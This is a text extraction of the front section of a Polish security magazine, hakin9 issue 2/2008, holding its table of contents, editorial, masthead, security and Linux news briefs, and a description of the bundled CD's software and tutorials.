background image

hakin9 

02/2008 PL

background image
background image
background image

4

www.hakin9.org

hakin9 Nr 2/2008

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy  garść  najciekawszych  wiadomości 

ze  świata  bezpieczeństwa  systemów  informatycz-

nych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Kaspersky Internet Security 7

12

AVG Internet Security 7.5

13

Początki

Sniffing i wardriving – zabezpiecz się

Konrad Witaszczyk

14

Ostatnio, popularny stał się wardriving – wyszukiwa-

nie sieci bezprzewodowych. Niektórzy nie poprzesta-

ją na wyszukaniu sieci i kradną dane. Artykuł pokaże, 

w  jaki  sposób  powinniśmy  się  zabezpieczyć  przed 

takimi atakami.

Atak

Hakowanie PuTTY

Dawid Gołuński

18

Jak zmodyfikować skompilowaną aplikację na przy-

kładzie klienta SSH – PuTTY? O tym dowiedzą się 

Państwo czytając tekst Dawida Gołuńskiego.

Podglądanie pulpitu

Sławomir Orłowski

30

Jak  z  poziomu  kodu  C#  utworzyć  połączenie  TCP 

i  wysłać  dane  za  pomocą  protokołu  UDP?  W  jaki 

sposób  używać  komponentów  klasy  Backgroun-

dWorker  oraz  jak  używać  strumieni  do  programo-

wania sieciowego? Odpowiedzi na te pytania znajdą 

Państwo w artykule.

Edycja zasobów w plikach wykony-

walnych

Damian Daszkiewicz

38

Tekst o sposobach przeglądania, eksportowania i edy-

towania zasobów w plikach wykonywalnych autorstwa 

Damiana Daszkiewicza.

Witam!

Luty. Za oknami zima. Na ulicach śnieg, przechodnie opatu-

leni w ciepłe czapki i szaliki. W taką pogodę dobrze zostać 

w domu, siąść w fotelu i napić się ciepłej herbaty z cytryną. 

A jeszcze lepiej rozsiąść się wygodnie w ulubionym fotelu i 

popijając ciepłą herbatę z cytryną zanurzyć się w lekturze 

magazynu hakin9.

A  w  nim,  jak  co  miesiąc  –  nowości,  prezenty,  ciekawe 

artykuły.  Wśród  nich  wart  polecenia  temat  numeru  Hako-

wanie PuTTY autorstwa Dawida Gołuńskiego, który pokaże 

nam, jak zmodyfikować aplikację bez dostępu do kodu źró-

dłowego oraz Nowa generacja IDS, czyli ISA Server 2006 

w testach, w którym Paulina Januszkiewicz opisuje, w jaki 

sposób  ISA  Server  reaguje  na  poszczególne  zagrożenia 

i  anomalie  ruchu  sieciowego,  w  jaki  sposób  administrator 

informowany  jest  o  zdarzeniach,  a  także  czy  ISA  Server 

2006 sprawdza się jako system wykrywania włamań.

W międzyczasie można zasiąść do komputera i zainsta-

lować na nim programy dostępne na nowej płycie CD. W tym 

numerze hakin9'u trzy programy do wyboru – przede wszyst-

kim Norman Ad-Aware SE Plus, który zapewnia swoim użyt-

kownikom kompleksową ochronę przeciw programom typu 

spyware oraz adware. Jeżeli chcą Państwo zapewnić swo-

jemu komputerowi jeszcze większe bezpieczeństwo, można 

zainstalować  jedną  z  najbezpieczniejszych  przeglądarek 

– e-Capsule Private Browser, którą udostępniamy na płycie. 

Zamknąć komputer pomoże Państwu program RSHUT Pro, 

a wtedy można powrócić do lektury magazynu.

Zapraszam!

Barbara Czułada

background image

4

www.hakin9.org

hakin9 Nr 2/2008

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Nowa generacja IDS, 

czyli ISA Server 2006 w testach

Paulina Januszkiewicz

42

ISA Server jest zaawansowanym systemem zapobie-

gania włamaniom. Testy przeprowadzone w tym arty-

kule  wykażą,  czy  ISA  Server  dobrze  spełnia  swoje 

zadanie wykrywania ataków.

Wiarygodność testów programów 

antywirusowych

Jakub Dębski

58

Testy  programów  antywirusowych  wzbudzają  wiele 

emocji. Jakub Dębski opisuje, jak są przeprowadzane.

Helix – analiza powłamaniowa

Grzegorz Błoński

64

Analiza powłamaniowa – mimo tego, iż jest to zada-

nie bardzo trudne, czasochłonne i wymagające dużej 

wiedzy oraz cierpliwości podczas jego wykonywania 

– nie musi być niemożliwe do wykonania. O tym prze-

konuje Grzegorz Błoński.

Księgozbiór

72

Recenzujemy książki CCNA semestr 1, 2, 3 oraz 4.

Wywiad

74

Wywiad z Witosławem Wolańskim z 

Banku Nordea

Katarzyna Juszczyńska, Robert Gontarski

Rozmowa ze specjalistą ds. polityki bezpieczeństwa 

systemu IT w Banku Nordea.

Klub techniczny

Kerio MailServer jako system 

poczty i pracy grupowej dla firm

77

Felieton

78

Socjo-cyber-piraci przestrzeni

Patryk Krawaczyński

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu magazynu hakin9 nr 3/2008.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: 
Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka: Barbara Czułada

barbara.czulada@software.com.pl

Wyróżnieni betatesterzy: Marcin Kulawinek, Błażej Obiała

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Anna Osiecka anna.osiecka@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

IT Underground 2007

W dniach 7-9 listopada w Warsza-

wie, w siedzibie Mercedes Polska, 

odbyła się największa w Europie 

Wschodniej konferencja poświę-

cona bezpieczeństwu komputero-

wemu – IT Underground, podczas 

której światowej klasy specjaliści 

podzielili się swoją wiedzą 

i doświadczeniem na temat technik 

penetracji systemów informatycz-

nych i metod zabezpieczania się 

przed atakiem.

DebugView pozwala na 

eskalację przywilejów

iDefense odkryło, że służący do 

debugowania aplikacji program 

Microsoftu – DebugView zawie-

ra lukę w kodzie, która pozwala 

na podniesienie uprawnień zwy-

kłego użytkownika. DebugView 

używa funkcji dbgv.sys zawartej 

w kernelu, która może być użyta 

do skopiowania danych użytkow-

nika w praktycznie dowolne miej-

sce w pamięci. 

Zgodnie z doniesieniami, istnie-

je możliwość zapisania przez ata-

kującego swojego kodu do pamię-

ci, a następnie wykonania go. Bug 

został wykryty w wersji 4.60.0.0 

funkcji dbgv.sys, której używał 

DebugView w wersji 4.64. Micro-

soft wypuścił wersję aplikacji 4.72, 

usuwającą lukę.

Luka w bibliotekach Perla

Biblioteki Perla (PCRE, Perl 

Compatible Regular Expressions) 

odpowiedzialne za przetwarza-

nie wyrażeń regularnych zawiera-

ją lukę, która może zostać wyko-

rzystana przez napastnika do 

wstrzyknięcia swojego, złośliwe-

go kodu do działającej aplikacji 

napisanej właśnie w Perlu. 

Problem jest wynikiem błędne-

go alokowania pamięci podczas 

przetwarzania wyrażeń regular-

nych. 

Każdy obcy kod, który uda się 

podrzucić hakerowi, w rzeczywi-

stości zostanie uruchomiony z 

prawami zaatakowanej aplikacji. 

Tavis Ormandy z Google Securi-

ty odkrył kilka luk w PCRE, które 

pozwalają na wykonanie złośliwe-

go kodu, co potwierdza również 

Debian Team informując, 

że znane są sposoby przepełnie-

nia bufora właśnie w tych biblio-

tekach.

Student UW mistrzem Polski 

w programowaniu

S

tudent  Uniwersytetu  Warszaw-
skiego, Marek Cygan, okazał się 

najlepszym  i  najszybszym  zawod-
nikiem  II  Internetowych  Mistrzostw 
Polski  w  Programowaniu.  Organi-
zatorem  imprezy  była  firma  Asseco 
Business  Solutions  Pion  Bizneso-
wy  Safo.  W  internetowych  mistrzo-
stwach  wzięło  udział  1170  osób, 
zmagając  się  w  czterech  turach 
z  dwunastoma  zadaniami.  Serwer 
skompilował  i  ocenił  10165  nade-
słanych  programów.  Szczegółowy 
ranking  zawodów  dostępny  jest  na 
stronie:  http://opss.safo.biz/?menu=
comp&sub=rank&comp=9

Tegoroczne  zawody  charakte-

ryzowały  się  ostrą  i  zaciętą  walką 
o  tytuł  mistrza.  Poziom  przysyła-
nych do nas prac był bardzo wysoki. 
Cieszy nas bardzo rosnące zaintere-
sowanie  konkursem  i  udział  w  nim 
tak  wielu  zdolnych  młodych  ludzi. 
Ponad  połowę  uczestników  stano-
wili  uczniowie  i  studenci,  w  wieku 
od 17 do 21 lat. Potwierdza to opinię 
o  drzemiącym  w  młodych  Polakach 
potencjale informatycznym. Mistrzo-
stwa stanowią zaś niebywałą okazję, 
aby wyłowić i ukształtować nieprze-
ciętne talenty – mówi Maciej Maniec-
ki,  wiceprezes  Asseco  Business 
Solutions.

Oto  pierwsza  dziesiątka  najlep-

szych uczestników:

•   Marek Cygan, Żołędowo (nagroda 

– notebook Lenovo 3000 N200)

•   Marcin Andrychowicz, Grójec (no-

tebook Lenovo 3000 N200)

•   Jakub  Radoszewski,  Poznań 

(Pocket PC z telefonem komórko-
wym Asus P526)

•   Jarosław Błasiok, Gostyń (kompu-

ter  kieszonkowy  HP  iPaq  rx5710 
Travel Companion)

•   Piotr Mikulski, Szczecin (komputer 

kieszonkowy Acer PDA C530)

•   Szymon  Wrzyszcz,  Grudziądz 

(drukarka HP PhotoSmart D7160)

•   Michał  Bartoszkiewicz,  Wrocław 

(dysk zewnętrzny WD Passport II 
120GB USB2.0)

•   Mateusz  Rukowicz,  Kamienna 

Góra  (kamera  internetowa  Logi-
tech Quickcam Pro 9000)

•   Paweł  Gawrychowski,  Wrocław 

(pamięć  Kingston  DataTraveler  II 
Plus Migo 4GB)

•   Aleksander  Piotrowski,  Lisi  Ogon 

(pamięć  Kingston  DataTraveler  II 
Plus Migo 2GB)

Marek Cygan był jednym z trzech stu-
dentów  UW  –  obok  Filipa  Wolskiego 
i Marcina Pilipczuka – którzy w marcu 
bieżącego  roku  wygrali  Akademickie 
Mistrzostwa Świata w Programowaniu 
Zespołowym. W finale, który odbył się 
w Japonii, Polacy pokonali 88 drużyn 
z  Europy,  Azji,  obu  Ameryk,  Afryki 
i Bliskiego Wschodu oraz Południowe-
go Pacyfiku. Na rozwiązanie 10 zadań 
mieli  pięć  godzin.  Błyskawicznie  roz-
wiązali pierwsze zadanie (po 13 minu-
tach), natychmiast wychodząc na pro-
wadzenie.

Asseco  Business  Solutions  SA 

dostarcza  wysokiej  jakości  rozwią-
zania  informatyczne  dla  przedsię-
biorstw,  niezależnie  od  ich  wielko-
ści,  branży  i  specyfiki.  Działając 
w ramach Grupy Kapitałowej Asseco, 
firma operuje jako Centrum Kompe-
tencyjne odpowiedzialne za systemy 
ERP,  oprogramowanie  dla  małych 
i  średnich  przedsiębiorstw,  outsour-
cing, data center oraz rozwiązania w 
zakresie e-learningu.

Rysunek 1. 

Marek Cygan

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

Ubuntu Gutsy Gibbon

Ukazała się nowa wersja dystry-

bucji Ubuntu 7.10 o nazwie kodo-

wej Gutsy Gibbon. W nowym 

Ubuntu znajdziemy między innymi 

środowisko GNOME w wersji 

2.20, domyślnie włączone efekty 

graficzne Compiz Fusion i zain-

stalowaną wtyczkę Gnash do 

odtwarzania animacji Flash. 

Ubuntu Gutsy Gibbon zawie-

ra jądro 2.6.22 i podsystem gra-

fiki Xorg 7.3 z obsługą RandR 

1.2 oraz z xserver 1.4. Pojawi-

ły się także sterowniki do niektó-

rych tzw. winmodemów. Twórcy 

Ubuntu poprawili ponadto system 

raportowania przy instalacji i aktu-

alizacjach pakietów, a także zgła-

szania padów jądra, które będą 

wyłapywane podczas restartu. 

Ubuntu to kompletna dystrybucja 

systemu operacyjnego GNU/Linux 

bazująca na dystrybucji Debian. 

Projekt sponsorowany jest przez 

firmę Marka Shuttlewortha Cano-

nical Ltd. Słowo ubuntu pochodzi 

z języków plemion Zulu i Xhosa 

zamieszkujących południową 

Afrykę i oznacza człowieczeństwo 

wobec innych. Głównym celem 

dystrybucji jest dostarczenie zwy-

kłym użytkownikom kompletnego, 

otwartego systemu, który będzie 

łatwy w obsłudze oraz jednocze-

śnie stabilny, niezawodny i nowo-

czesny. Ubuntu wydawane jest 

w regularnych (w miarę możliwo-

ści – sześciomiesięcznych) odstę-

pach czasowych. Pierwsze wyda-

nie Ubuntu ukazało się 20 paź-

dziernika 2004 roku jako tymcza-

sowa odmiana dystrybucji Debian 

GNU/Linux.

Uwaga na programy zabez-

pieczające

Znany amerykański kryptograf 

i specjalista z zakresu bezpieczeń-

stwa teleinformatycznego, Bruce 

Schneier, zalecał podczas kon-

ferencji RSA Conference Europe 

2007, by nie wierzyć zbytnio pro-

duktom mającym zapewnić bezpie-

czeństwo: Z przyczyn ideologicz-

nych bądź marketingowych pro-

dukty te są przedstawiane jako 

bezpieczne. Ludzie sprzedający 

karty elektroniczne zrobią wszyst-

ko, by przekonać nas, że są one 

rozwiązaniem problemów związa-

nych z bezpieczeństwem. Skoro 

dla wszystkich jest to dobre rozwią-

zanie, to i dla mnie również.

Domena IFPI.com w rękach 

The Pirate Bay

S

zwedzki serwis ThePirateBay.org 
przejął  domenę  www.IFPI.com, 

która należała do International Fede-
ration  of  the  Phonographic  Industry 
(IFPI)
 – znanej na całym świecie orga-
nizacji  antypirackiej.  Administratorzy 
The  Pirate  Bay  zaprzeczają,  jakoby 
dokonali jej nielegalnego przejęcia. Ich 
zdaniem, IFPI nie dokonała przedłuże-
nia rejestracji, co wykorzystał pewien 
anonimowy  internauta,  który  natych-
miast wykupił domenę, po czym ofia-
rował  ją  serwisowi  ThePirateBay.org
Brokep,  jeden  z  administratorów  The 
Pirate  Bay
,  tak  podsumował  przed-
sięwzięcie: International Federation of 
Pirates Interests (IFPI)
 jest nową orga-
nizacją,  którą  zakładamy,  by  mówić 
o piractwie.

The Pirate Bay poszukują również 

nowej wyspy. Informacja o zamiarze 
zakupienia  mikro-państwa  Sealan-
dii,  podana  przez  TPB  na  początku 
tego  roku,  wzbudziła  wiele  emocji, 
jednak  książę  Sealandii,  powiedział 
w  wywiadzie  dla  CBC  The  Hour, 
że nie pozwoli piratom zakupić swo-
jego  państewka.  Administratorzy 
The Pirate Bay nie ujawnili jeszcze, 
jaką  wyspę  braliby  pod  uwagę,  tłu-
macząc się, że ostatnio nie mieli na 

to czasu: Projekt Sealandii pochłonął 
cały nasz czas i nie mogliśmy zasad-
niczo  zrobić  nic  innego,  powiedział 
Brokep.  Pieniądze  zostaną  wydane 
na  wyspę,  ale  najpierw  musimy  się 
skupić na nadchodzących sprawach 
sądowych, które nas czekają.

The Pirate Bay jest jedną z najlepiej 

znanych stron w Internecie – najwięk-
szym światowym trackerem BitTorren-
ta,  która  także  działa  jako  wyszuki-
warka plików .torrent. I chociaż słowo 
mininova  było  jednym  z  najczęściej 
wyszukiwanych w Google, The Pirate 
Bay
 jest dobrze znane prasie, głównie 
ze względu na to, że przeciwstawia się 
obowiązującym  regulacjom  w  prawie 
autorskim,  a  także  walczy  o  równy 
dostęp  do  materiałów  dla  wszystkich 
użytkowników. 

Ponieważ BitTorrent bardzo dobrze 

radzi sobie z dużymi plikami, technolo-
gia ta stała się popularna wśród użyt-
kowników P2P, którzy wymieniają się 
dużymi  zestawami  muzyki,  filmami 
i  oprogramowaniem,  a  także  dyska-
mi instalacyjnymi dystrybucji Linuksa. 
TPB nie hostuje żadnych plików, któ-
rych rozpowszechnianie może ewen-
tualnie  naruszać  prawo  autorskie, 
a jedynie udostępnia pliki .torrent.

Rysunek 2. 

IFPI

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

ArcaVir 2008 już jest!

Firma ArcaVir przygotowała kolej-

ną edycję pakietu zabezpiecza-

jącego ArcaVir System Protec-

tion 2008. Oprócz już sprawdzo-

nych mechanizmów, w kolejnej 

edycji pakietu pojawiły się rów-

nież nowe rozwiązania, tj.: kon-

figuracja skanera HTTP zawie-

rająca reguły skanowania oraz 

białą listę stron, kontrola zawarto-

ści stron WWW (zintegrowana ze 

skanerem HTTP) umożliwiająca 

usuwanie aktywnych treści 

i banerów, obsługa SSL przy ska-

nowaniu poczty niewymagająca 

zmian portów i nie powodująca 

ostrzeżeń ze strony programów 

pocztowych, skanowanie proto-

kołu IMAP, nowy moduł tworzący 

raport o systemie, rozbudowana 

kwarantanna z opcją kasowania 

starych plików, nowoczesny silnik 

antywirusowy.

ArcaVir System Protection 2008 

w wersji elektronicznej do użytku 

domowego na jedno stanowisko 

można nabyć za kwotę 120 PLN. 

Wersja pudełkowa, również do 

użytku domowego, oferuje licen-

cję na 3 stanowiska w cenie 

150 PLN.

Notebooki z piratami

Policjanci z mokotowskiej komen-

dy zajmujący się zwalczaniem 

przestępczości gospodarczej 

zabezpieczyli nielegalne oprogra-

mowanie, które firma kompute-

rowa oferowała swoim klientom. 

Jak ustaliła policja, osoby kupu-

jące laptopy mogły doposażyć je 

w różne wersje pirackich progra-

mów operacyjnych i pakiety opro-

gramowania biurowego. Aresz-

towany Sławomir W. płyty z pira-

tami kupował na giełdzie kom-

puterowej, a następnie instalo-

wał to oprogramowanie na sprze-

dawanych komputerach. Laptopy 

i nośniki zostały zabezpieczone 

przez policję.

Fedora 8 udostępniona użytkownikom

U

kazała  się  nowa  wersja  dystry-
bucji  Fedora  8,  która  tworzona 

jest na bazie Red Hata. Linux jest poli-
gonem  doświadczalnym  Red  Hata  – 
w dystrybucji, przeznaczonej dla użyt-
kowników  indywidualnych,  testowane 
są  najnowsze  wersje  oprogramowa-
nia, które z czasem trafią także do Red 
Hat Enterprise Linux. Zmian w najnow-
szej  wersji  jest  bardzo  wiele,  jednak 
do najważniejszych nowości w wyda-
niu ósmym Fedory można zaliczyć: 

•  Iced  Tea  –  jest  to  otwarta,  a  co 

najważniejsze  w  pełni  darmowa 
wersja Javy.

•  Pulse Audio – to nowy domyślny 

serwer  dźwięku,  który  ma  wiele 
zalet – m. in. dynamiczną regula-
cję  dźwięku  dla  poszczególnych 
aplikacji.  Dając  większą  kontro-
lę użytkownikom, ma to być krok 
naprzód  na  obszarze  odtwarza-
nia dźwięków w systemie.

•  Pirut  –  zupełnie  nowy  edytor 

repozytoriów,  który  sprawia, 
że  dodawanie,  usuwanie,  włą-
czanie i wyłączanie repozytoriów 
staje się naprawdę łatwe.

•  CodecBuddy  –  prosta  instalacja 

kodeków.

•   NetworkManager  0.7,  a  w  nim 

m.  in.:  bezpieczniejsze  przecho-
wywanie  haseł  WPA,  obsługa 
nowego DBus API, bardziej przej-
rzysty interfejs.

•   Ulepszony  konfigurator  drukarek 

– system-config-printer.

•   Nowe  graficzne  narzędzie  kon-

figuracyjne  firewalla  –  ma  ono 
pozwolić użytkownikom na skonfi-
gurowanie zasad działania zapory 
ogniowej  w  systemie  w  znacznie 
bardziej przystępny sposób, dając 
maksimum bezpieczeństwa.

•   Usprawnienia  Menadżera  Sieci 

– został on gruntownie przepisa-
ny specjalnie dla Fedory 8, mając 
w ten sposób zapewnić większą 
stabilność,  elastyczność  i  uży-
teczność.

•   Rozszerzona  obsługa  drukarek 

–  od  teraz  dodawanie  nowych 
drukarek powinno ograniczyć się 
do  podłączenia  ich  zarówno  do 
zasilania, jak i samego kompute-
ra – sterowniki powinny dodać się 
samoczynnie.

•   Poprawione  działanie  na  lapto-

pach (hibernacja, stan wstrzyma-
nia, klawisze multimedialne).

•   Nowy system logowania Rsyslog.
•   GNOME Online Desktop. 
•   Infrastruktura Transifex do zarzą-

dzania tłumaczeniami.

Celem projektu Fedora jest budowa 
w  pełni  użytecznego  systemu  ope-
racyjnego  w  oparciu  o  wolne  opro-
gramowanie,  wydawanego  cyklicz-
nie 2-3 razy w roku.

Rysunek 3. 

Fedora 8

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

Wrocławska policja przejęła 

serwery warezowe

Policjanci z Wydziału do Walki 

z Przestępczością Gospodar-

czą Komendy Wojewódzkiej Poli-

cji we Wrocławiu zabezpieczyli 6 

serwerów, za pomocą których roz-

powszechniano nieautoryzowa-

ne kopie plików multimedialnych. 

Komputery umieszczone były 

w jednym z asystenckich domów 

wrocławskiej uczelni wyższej oraz 

w mieszkaniu prywatnym 29-letnie-

go mieszkańca Wrocławia, który 

administrował siecią komputero-

wą m. in. w tym pierwszym obiek-

cie. Wśród zabezpieczonych przez 

policjantów sześciu serwerów kom-

puterowych zawierających 37 

dysków twardych o łącznej pojem-

ności 12 terabajtów były np. takie, 

które posiadały takie dyski jak: 

3x750 GB, 3x300 GB i 7x 500 GB. 

Zatrzymanemu mężczyźnie grozi 

odpowiedzialność karna w wymia-

rze pozbawienia wolności do 5 lat. 

Wrocławscy policjanci nie wyklu-

czają zatrzymań dalszych osób.

Co trzeci pracownik nie dba 

o bezpieczeństwo

Z raportu przygotowanego przez 

organizację Information Systems 

Audit and Control Association 

(ISACA) wynika, że ponad 35% 

amerykańskich pracowników biuro-

wych ignoruje obowiązujące w ich 

firmie zasady korzystania z infra-

struktury informatycznej. Wielu 

osobom wydaje się, że korzystanie 

z P2P w pracy jest zupełnie nie-

szkodliwe – jednak statystyki poka-

zują, że coraz częściej zdarzają się 

przypadki nieświadomego udostęp-

niania w sieciach bezpośredniej 

wymiany plików firmowych doku-

mentów – zarówno danych pra-

cowników, jak i klientów. Być może 

niektórym wydaje się, że 15% to 

niezbyt wiele – zwróćmy jednak 

uwagę, iż współczynnik ten ozna-

cza, że w każdej firmie zatrudniają-

cej 1000 pracowników ok. 70 osób 

aktywnie korzysta z P2P – komen-

tuje John Pironti (ISACA).

Ruszyła Polska Wszechnica Informatyczna

P

owstał nowy portal wiedzy infor-
matycznej dla studentów, wykła-

dowców oraz absolwentów wydziałów 
informatyki polskich uczelni wyższych 
–  Polska  Wszechnica  Informatycz-
na
.  Pomysłodawcą  i  organizatorem 
projektu  jest  Warszawska  Wyższa 
Szkoła  Informatyki,  a  jego  partnera-
mi  –  firmy  Microsoft,  HP  oraz  Cisco 
Systems. 

W  ramach  Polskiej  Wszechnicy 

Informatycznej  udostępniane  będą 
materiały  i  pomoce  dydaktyczne 
wykorzystywane przez polskie ośrod-
ki akademickie w procesie kształcenia 
na wydziałach informatyki.

Korzystać  z  nich  będą  studenci 

i wykładowcy kierunków informatycz-
nych, jak i studenci innych kierunków 
oraz  uczniowie  szkół  średnich,  zain-
teresowani  tematyką  informatyczną. 
Wiedza informatyczna staje się coraz 
bardziej przydatna i popularna.

W  ramach  Polskiej  Wszechnicy 

Informatycznej  zgromadzone  zosta-
ną  materiały  dydaktyczne,  które 
pozwolą  zdobywać  wiedzę  informa-
tyczną w przystępnej formie.

Portal  stanie  się  kompendium 

informacji  zarówno  dla  tych,  którzy 
będą  chcieli  systematycznie  się 
uczyć, jak i tych, którzy będą potrze-
bowali doraźnej pomocy w rozwiązy-
waniu bieżących problemów informa-
tycznych  –  powiedział  Marek  Roter 
z polskiego oddziału Microsoft.

Treści materiałów dostępnych na 

portalu są zgodne z obecnie obowią-

zującymi  standardami  edukacyjny-
mi dla kierunku informatyka zatwier-
dzonymi przez Radę Główną Szkol-
nictwa  Wyższego  oraz  zaopiniowa-
ne  przez  dziewięcioosobową  radę 
programową.  W  składzie  rady  zna-
leźli się profesorowie, przedstawicie-
le ośmiu polskich wiodących uczelni 
informatycznych. 

Przewodniczącym  Rady  Nauko-

wej jest prof. dr hab. Jan Madey, Uni-
wersytet Warszawski, a jej członkami 
są: prof. dr hab. Krzysztof Diks, Uni-
wersytet  Warszawski;  prof.  dr  hab. 
inż.  Bogdan  Galwas,  Politechnika 
Warszawska;  prof.  dr  hab.  inż.  Zbi-
gniew Huzar, Politechnika Wrocław-
ska; prof. dr hab. inż. Henryk Kraw-
czyk, Politechnika Gdańska; prof. dr 
hab.  Krzysztof  Loryś,  Uniwersytet 
Wrocławski;  prof.  dr  hab.  inż.  Jerzy 
Nawrocki,  Politechnika  Poznańska; 
prof. dr hab. inż. Ryszard Tadeusie-
wicz,  Akademia  Górniczo-Hutnicza, 
Kraków; prof. dr hab. Marek Zaionc, 
Uniwersytet Jagielloński.

W  skład  Komitetu  Sterującego 

wchodzą: przewodniczący – Andrzej 
Żyławski  –  Rektor  Warszawskiej 
Wyższej Szkoły Informatyki, członko-
wie – Marek Roter, Dyrektor General-
ny Microsoft Polska; Paweł Czajkow-
ski,  Dyrektor  Generalny  HP  Polska; 
Paweł  Malak,  Dyrektor  Generalny 
CISCO  Polska;  Jan  Sokalski,  Czło-
nek  Konwentu  Warszawskiej  Wyż-
szej Szkoły Informatyki.

Rysunek 4. 

Polska Wszechnica Informatyczna

background image

hakin9.live

hakin9 Nr 2/2008

www.hakin9.org

10

N

a dołączonej do pisma płycie znajduje się dys-
trybucja  hakin9.live  (h9l)  w  wersji  4.0.2  on 
BackTrack2.0
,  zawierająca  przydatne  narzę-

dzia,  dokumentację,  tutoriale  i  materiały  dodatkowe 
do artykułów. Aby zacząć pracę z hakin9.live, wystar-
czy uruchomić komputer z CD. Po uruchomieniu syste-
mu możemy zalogować się jako użytkownik hakin9 bez 
podawania hasła.

Pełne wersje programów:

•   PROSHUT Real-Time Security – wersja bez ograni-

czeń czasowych,

•   e-Capsule Private Browser - wersja 60-dniowa,
•   Norman Ad-Aware SE Plus – wersja 30-dniowa.

Tutoriale

•   tworzenie kodu pierwszego konia trojańskiego,
•   Videotutorial Metasploit3.

Filmy instruktażowe:

•   odcinek 3 – atak SQL Injection z użyciem Union Se-

lect.

Kolejny  odcinek  z  serii  filmów  instruktażowych  przed-
stawiających 

najpopularniejsze 

metody 

ataków 

na strony internetowe.

PROSHUT Real-Time Security

RSHUT  Pro  jest  rozwiązaniem  programowym,  które 
oszczędza  Twój  czas,  zamykając  za  Ciebie  komputer. 
Działa  bezpośrednio  na  Twoim  sprzęcie,  jak  i  na  zdal-
nie kontrolowanych komputerach z zainstalowanym sys-
temem Windows.

Używaj tego programu do restartowania, hibernowa-

nia i budzenia lokalnych i zdalnych komputerów przez In-
ternet lub sieć lokalną w trybie natychmiastowym lub za-
programowanym. Wszystko to możesz zrobić nie rusza-
jąc się z miejsca, bez potrzeby przechodzenia od jednej 
maszyny  do  następnej.  Ponadto  przy  użyciu  programu 
możesz dowolnie zaplanować i przesunąć w czasie za-
mykanie systemu. RSHUT Pro otworzy i zamknie stację 
dysków CD i DVD, włączy lub wyłączy wygaszacz ekranu 
oraz przełączy monitor w tryb oszczędzania energii.

e-Capsule Private Browser

Przeglądarka  e-Capsule  Internet  Browser  firmy  Enter-
prise  Information  Security  Systems  and  Technology 
(EISST) jest jednym z najbezpieczniejszych programów 
tego  typu.  Korzystając  z  niej,  użytkownik  ma  pewność, 

Zawartość CD

że  po  zamknięciu  sesji  na  komputerze  nie  pozostaną 
żadne ślady surfowania. 

Pliki tymczasowe, ciasteczka, historia przeglądanych 

stron i inne dane używane podczas przeglądania stron 
internetowych  przechowywane  są  w  pliku  zaszyfrowa-
nym 256-bitowym algorytmem AES.

Ponadto,  dzięki  przekierowaniu  połączenia  przez 

sieć anonimowych serwerów proxy, namierzenie adresu 
IP internauty korzystającego z e-Capsule jest praktycz-
nie  niemożliwe.  Dlatego  też  korzystanie  z  przeglądarki 
e-Capsule  Private  Browser  pozwala  użytkownikom  na 
swobodne korzystanie z Internetu bez obawy, że osoby 
trzecie będą w stanie uzyskać dostęp do danych używa-
nych w czasie przeglądania stron WWW.

Norman Ad-Aware SE Plus Edition

Norman  Ad-Aware  SE  Plus  oferuje  kompleksowe 
i wszechstronne narzędzia w walce z programami, któ-
rych celem jest szpiegowanie działań użytkownika (spy-
ware)  oraz  wyświetlającymi  niechciane  reklamy  pop-up 
(adware). Wersja Plus zawiera pracujące w czasie rze-
czywistym  narzędzie  Ad-Watch,  pozwalające  nie  tylko 
wykrywać  zagrożenia  Twojej  prywatności  na  kompute-
